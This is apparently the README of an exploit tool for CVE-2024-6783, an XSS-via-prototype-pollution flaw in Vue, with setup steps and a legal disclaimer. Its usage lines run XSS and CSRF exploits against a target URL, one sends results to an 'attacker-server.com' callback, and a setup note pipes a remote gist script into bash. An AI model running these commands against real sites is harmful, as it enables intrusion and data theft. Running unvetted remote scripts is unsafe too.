CVE-2024-6783 - Vue CVE

A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as Object.prototype.staticClass or Object.prototype.staticStyle to execute arbitrary JavaScript code.

Donate

Support the maintenance of this project with PayPal or by scanning the QR code below.

⚡ Simple Usage

Use this project only in safe and authorized environments such as:

• Local virtual machines
• Docker containers
• Isolated lab setups
• Authorized penetration testing environments

Example setup:

git clone https://github.com/HORKimhab/CVE-2024-6783
cd CVE-2024-6783

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Example usage:

# scan only 
python cve-2024-6783.py -u https://example.com -v

# Scan & XSS Exploit 
python cve-2024-6783.py -u https://example.com -e xss

# XSS Exploit with Callback
python cve-2024-6783.py -u https://example.com -e xss -c http://attacker-server.com/callback

# Automatic Callback Server
python cve-2024-6783.py -u https://example.com -e persistent -c auto

# CSRF Exploitation
python cve-2024-6783.py -u https://example.com -e csrf

# Full Scan and Exploit with Verbose Output
python cve-2024-6783.py -u https://example.com -e xss -c auto -v -o evidence.html

Note:

• clone from other project you must run curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y to clear nested dir .git
• e.g: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

Credit or Reference

• https://www.herodevs.com/vulnerability-directory/cve-2024-6783?nes-for-vue-2
• vue-template-compiler-patched-bio: https://github.com/bio/vue-template-compiler-patched

📚 Educational Security Research Repository

A repository for learning, testing, and researching cybersecurity concepts in controlled environments.

⚠️ Security & Legal Disclaimer

Purpose

This repository is for educational and authorized security research only.

It is designed to help users learn about:

• Security vulnerabilities
• Sandbox and isolation concepts
• Secure coding and defensive practices

Authorized Use Only

Use this repository only in environments where you have permission, such as:

• Personal labs or virtual machines
• Docker or isolated environments
• Authorized penetration testing
• Cybersecurity training or academic research

Unauthorized or illegal use is strictly prohibited.

No Liability

The author and contributors are not responsible for any damage, misuse, legal issues, or losses caused by this project.

By using this repository, you agree that:

• You are responsible for your own actions
• You will use it legally and ethically
• The project is provided without warranty

Ethical Use

This project is intended for:

• Defensive security research
• Cybersecurity education
• Vulnerability awareness
• Secure system and software research

Please follow responsible disclosure practices and comply with all applicable laws.

Contact

For responsible disclosure or collaboration, contact the repository maintainer through GitHub.